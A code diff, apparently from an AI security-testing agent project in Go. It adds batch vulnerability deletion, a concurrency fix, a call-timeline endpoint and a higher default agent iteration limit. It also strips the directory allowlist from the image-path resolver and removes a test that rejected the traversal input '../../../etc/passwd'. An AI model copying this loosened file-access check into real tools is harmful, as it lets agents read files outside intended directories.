|
||||||
|
}
|
||||||
|
|
||||||
|
deleteQuery := `DELETE FROM vulnerabilities ` + where
|
||||||
|
result, err := tx.Exec(deleteQuery, args...)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("批量删除漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
deleted, err := result.RowsAffected()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("获取删除条数失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := tx.Commit(); err != nil {
|
||||||
|
return 0, fmt.Errorf("提交事务失败: %w", err)
|
||||||
|
}
|
||||||
|
return deleted, nil
|
||||||
|
}
|
||||||
|
|
||||||
// DeleteVulnerability 删除漏洞
|
// DeleteVulnerability 删除漏洞
|
||||||
func (db *DB) DeleteVulnerability(id string) error {
|
func (db *DB) DeleteVulnerability(id string) error {
|
||||||
tx, err := db.Begin()
|
tx, err := db.Begin()
|
||||||
|
|||||||
@@ -830,6 +830,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
|
|||||||
seenToolCallSigs := make(map[string]string) // toolCallId -> payload signature
|
seenToolCallSigs := make(map[string]string) // toolCallId -> payload signature
|
||||||
seenToolResultSigs := make(map[string]string) // toolCallId -> payload signature
|
seenToolResultSigs := make(map[string]string) // toolCallId -> payload signature
|
||||||
|
|
||||||
|
// progressMu 保护闭包内 map 与聚合状态。Eino parallelRunToolCall 会在多 goroutine 中并发回调
|
||||||
|
// progress(ToolInvokeNotifyHolder.Fire → createProgressCallback),未加锁的 map 会触发 fatal panic。
|
||||||
|
var progressMu sync.Mutex
|
||||||
|
|
||||||
// response_start + response_delta:前端时间线显示为「📝 规划中」(monitor.js),不落逐条 delta;
|
// response_start + response_delta:前端时间线显示为「📝 规划中」(monitor.js),不落逐条 delta;
|
||||||
// 聚合为一条 planning 写入 process_details,刷新后与线上一致。
|
// 聚合为一条 planning 写入 process_details,刷新后与线上一致。
|
||||||
var respPlan responsePlanAgg
|
var respPlan responsePlanAgg
|
||||||
@@ -891,6 +895,9 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
|
|||||||
}
|
}
|
||||||
|
|
||||||
return func(eventType, message string, data interface{}) {
|
return func(eventType, message string, data interface{}) {
|
||||||
|
progressMu.Lock()
|
||||||
|
defer progressMu.Unlock()
|
||||||
|
|
||||||
// 上游在重试/补偿时可能重复回调相同 tool_call/tool_result。
|
// 上游在重试/补偿时可能重复回调相同 tool_call/tool_result。
|
||||||
// 这里做幂等过滤,保证前端展示和 process_details 都以唯一事件为准。
|
// 这里做幂等过滤,保证前端展示和 process_details 都以唯一事件为准。
|
||||||
if (eventType == "tool_call" || eventType == "tool_result") && data != nil {
|
if (eventType == "tool_call" || eventType == "tool_result") && data != nil {
|
||||||
|
|||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package handler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestCreateProgressCallback_ConcurrentToolEvents 回归 issue #142:并行 tool 回调不得 concurrent map panic。
|
||||||
|
func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
h := &AgentHandler{
|
||||||
|
logger: logger,
|
||||||
|
config: &config.Config{},
|
||||||
|
}
|
||||||
|
cb := h.createProgressCallback(context.Background(), nil, "conv-race-test", "", nil)
|
||||||
|
|
||||||
|
const workers = 64
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(workers * 2)
|
||||||
|
for i := 0; i < workers; i++ {
|
||||||
|
i := i
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
toolCallID := fmt.Sprintf("tc-%d", i)
|
||||||
|
cb("tool_call", "calling skill", map[string]interface{}{
|
||||||
|
"toolCallId": toolCallID,
|
||||||
|
"toolName": "skill",
|
||||||
|
"argumentsObj": map[string]interface{}{"skill_name": "demo-skill"},
|
||||||
|
})
|
||||||
|
}()
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
toolCallID := fmt.Sprintf("tc-%d", i)
|
||||||
|
cb("tool_result", "skill done", map[string]interface{}{
|
||||||
|
"toolCallId": toolCallID,
|
||||||
|
"toolName": "skill",
|
||||||
|
"success": true,
|
||||||
|
})
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
@@ -1548,9 +1548,6 @@ func updateVisionConfig(doc *yaml.Node, cfg config.VisionConfig) {
|
|||||||
if strings.TrimSpace(cfg.Detail) != "" {
|
if strings.TrimSpace(cfg.Detail) != "" {
|
||||||
setStringInMap(visionNode, "detail", cfg.Detail)
|
setStringInMap(visionNode, "detail", cfg.Detail)
|
||||||
}
|
}
|
||||||
if len(cfg.AllowedRoots) > 0 {
|
|
||||||
setStringSliceInMap(visionNode, "allowed_roots", cfg.AllowedRoots)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
|
func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
|
||||||
|
|||||||
@@ -327,6 +327,124 @@ func (h *MonitorHandler) GetStats(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, stats)
|
c.JSON(http.StatusOK, stats)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CallsTimelinePoint 调用趋势数据点
|
||||||
|
type CallsTimelinePoint struct {
|
||||||
|
T time.Time `json:"t"`
|
||||||
|
Total int `json:"total"`
|
||||||
|
Failed int `json:"failed"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CallsTimelineSummary 调用趋势汇总
|
||||||
|
type CallsTimelineSummary struct {
|
||||||
|
TotalCalls int `json:"totalCalls"`
|
||||||
|
Peak int `json:"peak"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CallsTimelineResponse 调用趋势响应
|
||||||
|
type CallsTimelineResponse struct {
|
||||||
|
Range string `json:"range"`
|
||||||
|
Points []CallsTimelinePoint `json:"points"`
|
||||||
|
Summary CallsTimelineSummary `json:"summary"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type callsTimelineConfig struct {
|
||||||
|
rangeKey string
|
||||||
|
duration time.Duration
|
||||||
|
bucketSize time.Duration
|
||||||
|
dailyBuckets bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCallsTimelineRange(raw string) (callsTimelineConfig, bool) {
|
||||||
|
switch strings.TrimSpace(raw) {
|
||||||
|
case "24h":
|
||||||
|
return callsTimelineConfig{rangeKey: "24h", duration: 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
|
||||||
|
case "30d":
|
||||||
|
return callsTimelineConfig{rangeKey: "30d", duration: 30 * 24 * time.Hour, bucketSize: 24 * time.Hour, dailyBuckets: true}, true
|
||||||
|
default:
|
||||||
|
return callsTimelineConfig{rangeKey: "7d", duration: 7 * 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateToBucket(t time.Time, bucketSize time.Duration, dailyBuckets bool) time.Time {
|
||||||
|
if dailyBuckets {
|
||||||
|
y, m, d := t.Date()
|
||||||
|
return time.Date(y, m, d, 0, 0, 0, 0, t.Location())
|
||||||
|
}
|
||||||
|
return t.Truncate(bucketSize)
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildCallsTimelinePoints(cfg callsTimelineConfig, buckets map[time.Time]struct{ total, failed int }) []CallsTimelinePoint {
|
||||||
|
now := time.Now()
|
||||||
|
start := truncateToBucket(now.Add(-cfg.duration), cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
end := truncateToBucket(now, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
|
||||||
|
points := make([]CallsTimelinePoint, 0)
|
||||||
|
for current := start; !current.After(end); current = current.Add(cfg.bucketSize) {
|
||||||
|
val := buckets[current]
|
||||||
|
points = append(points, CallsTimelinePoint{
|
||||||
|
T: current,
|
||||||
|
Total: val.total,
|
||||||
|
Failed: val.failed,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return points
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimelinePoint {
|
||||||
|
since := time.Now().Add(-cfg.duration)
|
||||||
|
bucketMap := make(map[time.Time]struct{ total, failed int })
|
||||||
|
|
||||||
|
if h.db != nil {
|
||||||
|
dbBuckets, err := h.db.LoadCallsTimeline(since, cfg.dailyBuckets)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("从数据库加载调用趋势失败,回退到内存数据", zap.Error(err))
|
||||||
|
} else {
|
||||||
|
for _, b := range dbBuckets {
|
||||||
|
key := truncateToBucket(b.BucketTime, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
entry := bucketMap[key]
|
||||||
|
entry.total += b.Total
|
||||||
|
entry.failed += b.Failed
|
||||||
|
bucketMap[key] = entry
|
||||||
|
}
|
||||||
|
return buildCallsTimelinePoints(cfg, bucketMap)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, exec := range h.mcpServer.GetAllExecutions() {
|
||||||
|
if exec == nil || exec.StartTime.Before(since) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
entry := bucketMap[key]
|
||||||
|
entry.total++
|
||||||
|
if exec.Status == "failed" || exec.Status == "cancelled" {
|
||||||
|
entry.failed++
|
||||||
|
}
|
||||||
|
bucketMap[key] = entry
|
||||||
|
}
|
||||||
|
return buildCallsTimelinePoints(cfg, bucketMap)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCallsTimeline 获取 MCP 工具调用趋势
|
||||||
|
func (h *MonitorHandler) GetCallsTimeline(c *gin.Context) {
|
||||||
|
cfg, _ := parseCallsTimelineRange(c.Query("range"))
|
||||||
|
points := h.loadCallsTimeline(cfg)
|
||||||
|
|
||||||
|
summary := CallsTimelineSummary{}
|
||||||
|
for _, p := range points {
|
||||||
|
summary.TotalCalls += p.Total
|
||||||
|
if p.Total > summary.Peak {
|
||||||
|
summary.Peak = p.Total
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, CallsTimelineResponse{
|
||||||
|
Range: cfg.rangeKey,
|
||||||
|
Points: points,
|
||||||
|
Summary: summary,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// DeleteExecution 删除执行记录
|
// DeleteExecution 删除执行记录
|
||||||
func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
|
func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
|
||||||
id := c.Param("id")
|
id := c.Param("id")
|
||||||
|
|||||||
@@ -809,8 +809,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"jpeg_quality": map[string]interface{}{"type": "integer", "description": "JPEG 质量 60-100"},
|
"jpeg_quality": map[string]interface{}{"type": "integer", "description": "JPEG 质量 60-100"},
|
||||||
"max_payload_bytes": map[string]interface{}{"type": "integer", "description": "送 API 体积上限(字节)"},
|
"max_payload_bytes": map[string]interface{}{"type": "integer", "description": "送 API 体积上限(字节)"},
|
||||||
"skip_preprocess_below_bytes": map[string]interface{}{"type": "integer", "description": "低于该字节且尺寸合规时可原图直传;0=始终压缩"},
|
"skip_preprocess_below_bytes": map[string]interface{}{"type": "integer", "description": "低于该字节且尺寸合规时可原图直传;0=始终压缩"},
|
||||||
"detail": map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
|
"detail": map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
|
||||||
"allowed_roots": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "额外允许读取的绝对路径根"},
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"AnalyzeImageToolCall": map[string]interface{}{
|
"AnalyzeImageToolCall": map[string]interface{}{
|
||||||
@@ -819,7 +818,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"properties": map[string]interface{}{
|
"properties": map[string]interface{}{
|
||||||
"path": map[string]interface{}{
|
"path": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "图片路径(cwd、chat_uploads、result_storage_dir 或 allowed_roots 下)",
|
"description": "图片绝对路径或相对于进程工作目录的路径",
|
||||||
},
|
},
|
||||||
"question": map[string]interface{}{
|
"question": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
|||||||
@@ -311,6 +311,38 @@ func (h *VulnerabilityHandler) DeleteVulnerability(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
|
c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// BatchDeleteVulnerabilities 按当前筛选条件批量删除漏洞
|
||||||
|
func (h *VulnerabilityHandler) BatchDeleteVulnerabilities(c *gin.Context) {
|
||||||
|
filter := parseVulnerabilityListFilter(c)
|
||||||
|
|
||||||
|
total, err := h.db.CountVulnerabilities(filter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Error("统计待删除漏洞失败", zap.Error(err))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if total == 0 {
|
||||||
|
c.JSON(http.StatusOK, gin.H{"message": "当前筛选条件下没有可删除的漏洞", "deleted": 0})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
deleted, err := h.db.DeleteVulnerabilitiesByFilter(filter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Error("批量删除漏洞失败", zap.Error(err), zap.Int("count", total))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if h.audit != nil {
|
||||||
|
h.audit.RecordOK(c, "vulnerability", "delete_batch", "批量删除漏洞记录", "vulnerability", "", map[string]interface{}{
|
||||||
|
"deleted": deleted,
|
||||||
|
"filter": filter,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{"message": "批量删除成功", "deleted": deleted})
|
||||||
|
}
|
||||||
|
|
||||||
// GetVulnerabilityStats 获取漏洞统计
|
// GetVulnerabilityStats 获取漏洞统计
|
||||||
func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
|
func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
|
||||||
filter := parseVulnerabilityListFilter(c)
|
filter := parseVulnerabilityListFilter(c)
|
||||||
|
|||||||
@@ -160,13 +160,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
handlers = append(handlers, capMw)
|
handlers = append(handlers, capMw)
|
||||||
}
|
}
|
||||||
|
|
||||||
maxIter := ma.MaxIteration
|
maxIter := agentMaxIterations(appCfg)
|
||||||
if maxIter <= 0 {
|
|
||||||
maxIter = appCfg.Agent.MaxIterations
|
|
||||||
}
|
|
||||||
if maxIter <= 0 {
|
|
||||||
maxIter = 40
|
|
||||||
}
|
|
||||||
|
|
||||||
mainToolsCfg := adk.ToolsConfig{
|
mainToolsCfg := adk.ToolsConfig{
|
||||||
ToolsNodeConfig: compose.ToolsNodeConfig{
|
ToolsNodeConfig: compose.ToolsNodeConfig{
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
const defaultAgentMaxIterations = 3000
|
||||||
|
|
||||||
|
// agentMaxIterations 全局上限:仅使用 config.agent.max_iterations;≤0 时与 config 默认一致为 3000。
|
||||||
|
func agentMaxIterations(appCfg *config.Config) int {
|
||||||
|
if appCfg != nil && appCfg.Agent.MaxIterations > 0 {
|
||||||
|
return appCfg.Agent.MaxIterations
|
||||||
|
}
|
||||||
|
return defaultAgentMaxIterations
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveMaxIterations 统一迭代上限:Markdown/子代理 front matter 中 max_iterations>0 可单独覆盖,否则使用 agent.max_iterations。
|
||||||
|
// multi_agent.max_iteration 与 sub_agent_max_iterations 已废弃,不再参与计算。
|
||||||
|
func resolveMaxIterations(appCfg *config.Config, markdownOverride int) int {
|
||||||
|
if markdownOverride > 0 {
|
||||||
|
return markdownOverride
|
||||||
|
}
|
||||||
|
return agentMaxIterations(appCfg)
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAgentMaxIterations(t *testing.T) {
|
||||||
|
if got := agentMaxIterations(nil); got != defaultAgentMaxIterations {
|
||||||
|
t.Fatalf("nil cfg: got %d want %d", got, defaultAgentMaxIterations)
|
||||||
|
}
|
||||||
|
cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
|
||||||
|
if got := agentMaxIterations(cfg); got != 12000 {
|
||||||
|
t.Fatalf("got %d want 12000", got)
|
||||||
|
}
|
||||||
|
cfg.Agent.MaxIterations = 0
|
||||||
|
if got := agentMaxIterations(cfg); got != defaultAgentMaxIterations {
|
||||||
|
t.Fatalf("zero: got %d want %d", got, defaultAgentMaxIterations)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveMaxIterations(t *testing.T) {
|
||||||
|
cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
|
||||||
|
if got := resolveMaxIterations(cfg, 0); got != 12000 {
|
||||||
|
t.Fatalf("global: got %d want 12000", got)
|
||||||
|
}
|
||||||
|
if got := resolveMaxIterations(cfg, 50); got != 50 {
|
||||||
|
t.Fatalf("override: got %d want 50", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -170,18 +170,7 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
|
reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
|
||||||
|
|
||||||
deepMaxIter := ma.MaxIteration
|
deepMaxIter := agentMaxIterations(appCfg)
|
||||||
if deepMaxIter <= 0 {
|
|
||||||
deepMaxIter = appCfg.Agent.MaxIterations
|
|
||||||
}
|
|
||||||
if deepMaxIter <= 0 {
|
|
||||||
deepMaxIter = 40
|
|
||||||
}
|
|
||||||
|
|
||||||
subDefaultIter := ma.SubAgentMaxIterations
|
|
||||||
if subDefaultIter <= 0 {
|
|
||||||
subDefaultIter = 20
|
|
||||||
}
|
|
||||||
|
|
||||||
var subAgents []adk.Agent
|
var subAgents []adk.Agent
|
||||||
if orchMode != "plan_execute" {
|
if orchMode != "plan_execute" {
|
||||||
@@ -230,10 +219,7 @@ func RunDeepAgent(
|
|||||||
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
|
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
subMax := sub.MaxIterations
|
subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
|
||||||
if subMax <= 0 {
|
|
||||||
subMax = subDefaultIter
|
|
||||||
}
|
|
||||||
|
|
||||||
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
+9
-79
@@ -7,35 +7,26 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
const chatUploadsDirName = "chat_uploads"
|
|
||||||
|
|
||||||
var allowedImageExt = map[string]struct{}{
|
var allowedImageExt = map[string]struct{}{
|
||||||
".png": {}, ".jpg": {}, ".jpeg": {}, ".webp": {}, ".gif": {},
|
".png": {}, ".jpg": {}, ".jpeg": {}, ".webp": {}, ".gif": {},
|
||||||
".bmp": {}, ".tif": {}, ".tiff": {},
|
".bmp": {}, ".tif": {}, ".tiff": {},
|
||||||
}
|
}
|
||||||
|
|
||||||
// PathOptions 图片路径白名单根目录。
|
// ResolveImagePath 解析并校验可读图片路径(支持任意目录;仍校验扩展名与常规文件)。
|
||||||
type PathOptions struct {
|
func ResolveImagePath(path string, cwd string) (string, error) {
|
||||||
CWD string
|
|
||||||
ResultStorageDir string // 相对 CWD,如 tmp
|
|
||||||
ExtraRoots []string // vision.allowed_roots 绝对路径
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResolveImagePath 解析并校验可读图片路径(防穿越、symlink 逃逸)。
|
|
||||||
func ResolveImagePath(path string, opt PathOptions) (string, error) {
|
|
||||||
p := strings.TrimSpace(path)
|
p := strings.TrimSpace(path)
|
||||||
if p == "" {
|
if p == "" {
|
||||||
return "", fmt.Errorf("path is empty")
|
return "", fmt.Errorf("path is empty")
|
||||||
}
|
}
|
||||||
cwd := strings.TrimSpace(opt.CWD)
|
cwdTrim := strings.TrimSpace(cwd)
|
||||||
if cwd == "" {
|
if cwdTrim == "" {
|
||||||
var err error
|
var err error
|
||||||
cwd, err = os.Getwd()
|
cwdTrim, err = os.Getwd()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("getwd: %w", err)
|
return "", fmt.Errorf("getwd: %w", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
cwdAbs, err := filepath.Abs(filepath.Clean(cwd))
|
cwdAbs, err := filepath.Abs(filepath.Clean(cwdTrim))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
@@ -46,22 +37,16 @@ func ResolveImagePath(path string, opt PathOptions) (string, error) {
|
|||||||
} else {
|
} else {
|
||||||
candidate = filepath.Clean(filepath.Join(cwdAbs, p))
|
candidate = filepath.Clean(filepath.Join(cwdAbs, p))
|
||||||
}
|
}
|
||||||
candidate = normalizeAbsPath(candidate)
|
resolved := normalizeAbsPath(candidate)
|
||||||
if candidate == "" {
|
if resolved == "" {
|
||||||
return "", fmt.Errorf("invalid path")
|
return "", fmt.Errorf("invalid path")
|
||||||
}
|
}
|
||||||
|
|
||||||
ext := strings.ToLower(filepath.Ext(candidate))
|
ext := strings.ToLower(filepath.Ext(resolved))
|
||||||
if _, ok := allowedImageExt[ext]; !ok {
|
if _, ok := allowedImageExt[ext]; !ok {
|
||||||
return "", fmt.Errorf("unsupported image extension %q", ext)
|
return "", fmt.Errorf("unsupported image extension %q", ext)
|
||||||
}
|
}
|
||||||
|
|
||||||
roots := buildAllowedRoots(cwdAbs, opt)
|
|
||||||
resolved, err := evalUnderAllowedRoots(candidate, roots)
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
st, err := os.Stat(resolved)
|
st, err := os.Stat(resolved)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("stat: %w", err)
|
return "", fmt.Errorf("stat: %w", err)
|
||||||
@@ -85,58 +70,3 @@ func normalizeAbsPath(p string) string {
|
|||||||
}
|
}
|
||||||
return abs
|
return abs
|
||||||
}
|
}
|
||||||
|
|
||||||
func buildAllowedRoots(cwdAbs string, opt PathOptions) []string {
|
|
||||||
seen := make(map[string]struct{})
|
|
||||||
var roots []string
|
|
||||||
add := func(r string) {
|
|
||||||
r = strings.TrimSpace(r)
|
|
||||||
if r == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
abs := normalizeAbsPath(r)
|
|
||||||
if abs == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if _, ok := seen[abs]; ok {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
seen[abs] = struct{}{}
|
|
||||||
roots = append(roots, abs)
|
|
||||||
}
|
|
||||||
add(cwdAbs)
|
|
||||||
add(filepath.Join(cwdAbs, chatUploadsDirName))
|
|
||||||
rs := strings.TrimSpace(opt.ResultStorageDir)
|
|
||||||
if rs == "" {
|
|
||||||
rs = "tmp"
|
|
||||||
}
|
|
||||||
if filepath.IsAbs(rs) {
|
|
||||||
add(rs)
|
|
||||||
} else {
|
|
||||||
add(filepath.Join(cwdAbs, rs))
|
|
||||||
}
|
|
||||||
for _, r := range opt.ExtraRoots {
|
|
||||||
add(r)
|
|
||||||
}
|
|
||||||
return roots
|
|
||||||
}
|
|
||||||
|
|
||||||
func evalUnderAllowedRoots(candidate string, roots []string) (string, error) {
|
|
||||||
check := normalizeAbsPath(candidate)
|
|
||||||
for _, root := range roots {
|
|
||||||
if isUnderRoot(check, root) {
|
|
||||||
return candidate, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "", fmt.Errorf("path %q is outside allowed directories", candidate)
|
|
||||||
}
|
|
||||||
|
|
||||||
func isUnderRoot(path, root string) bool {
|
|
||||||
path = filepath.Clean(path)
|
|
||||||
root = filepath.Clean(root)
|
|
||||||
if path == root {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
sep := string(filepath.Separator)
|
|
||||||
return strings.HasPrefix(path, root+sep)
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ func TestResolveImagePath_underCWD(t *testing.T) {
|
|||||||
if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
|
if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
got, err := ResolveImagePath(img, PathOptions{CWD: dir, ResultStorageDir: "tmp"})
|
got, err := ResolveImagePath(img, dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
@@ -22,11 +22,20 @@ func TestResolveImagePath_underCWD(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestResolveImagePath_rejectsTraversal(t *testing.T) {
|
func TestResolveImagePath_absoluteOutsideCWD(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
_, err := ResolveImagePath("../../../etc/passwd", PathOptions{CWD: dir})
|
cwd := t.TempDir()
|
||||||
if err == nil {
|
img := filepath.Join(dir, "remote.png")
|
||||||
t.Fatal("expected error for path outside roots")
|
if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got, err := ResolveImagePath(img, cwd)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("expected absolute path outside cwd to be allowed: %v", err)
|
||||||
|
}
|
||||||
|
want := normalizeAbsPath(img)
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -36,7 +45,7 @@ func TestResolveImagePath_rejectsNonImageExt(t *testing.T) {
|
|||||||
if err := os.WriteFile(f, []byte("x"), 0o644); err != nil {
|
if err := os.WriteFile(f, []byte("x"), 0o644); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
_, err := ResolveImagePath(f, PathOptions{CWD: dir})
|
_, err := ResolveImagePath(f, dir)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
t.Fatal("expected error for non-image extension")
|
t.Fatal("expected error for non-image extension")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,11 +33,6 @@ func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
pathOpt := PathOptions{
|
|
||||||
CWD: cwd,
|
|
||||||
ResultStorageDir: cfg.Agent.ResultStorageDir,
|
|
||||||
ExtraRoots: cfg.Vision.AllowedRoots,
|
|
||||||
}
|
|
||||||
preOpt := PreprocessOptions{
|
preOpt := PreprocessOptions{
|
||||||
MaxImageBytes: cfg.Vision.MaxImageBytesEffective(),
|
MaxImageBytes: cfg.Vision.MaxImageBytesEffective(),
|
||||||
MaxDimension: cfg.Vision.MaxDimensionEffective(),
|
MaxDimension: cfg.Vision.MaxDimensionEffective(),
|
||||||
@@ -73,7 +68,7 @@ func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger
|
|||||||
path, _ := args["path"].(string)
|
path, _ := args["path"].(string)
|
||||||
question, _ := args["question"].(string)
|
question, _ := args["question"].(string)
|
||||||
|
|
||||||
abs, err := ResolveImagePath(path, pathOpt)
|
abs, err := ResolveImagePath(path, cwd)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return textResult(fmt.Sprintf("路径校验失败: %v", err), true), nil
|
return textResult(fmt.Sprintf("路径校验失败: %v", err), true), nil
|
||||||
}
|
}
|
||||||
|
|||||||
+222
-8
@@ -772,6 +772,66 @@
|
|||||||
border: 1px solid var(--c2-border);
|
border: 1px solid var(--c2-border);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
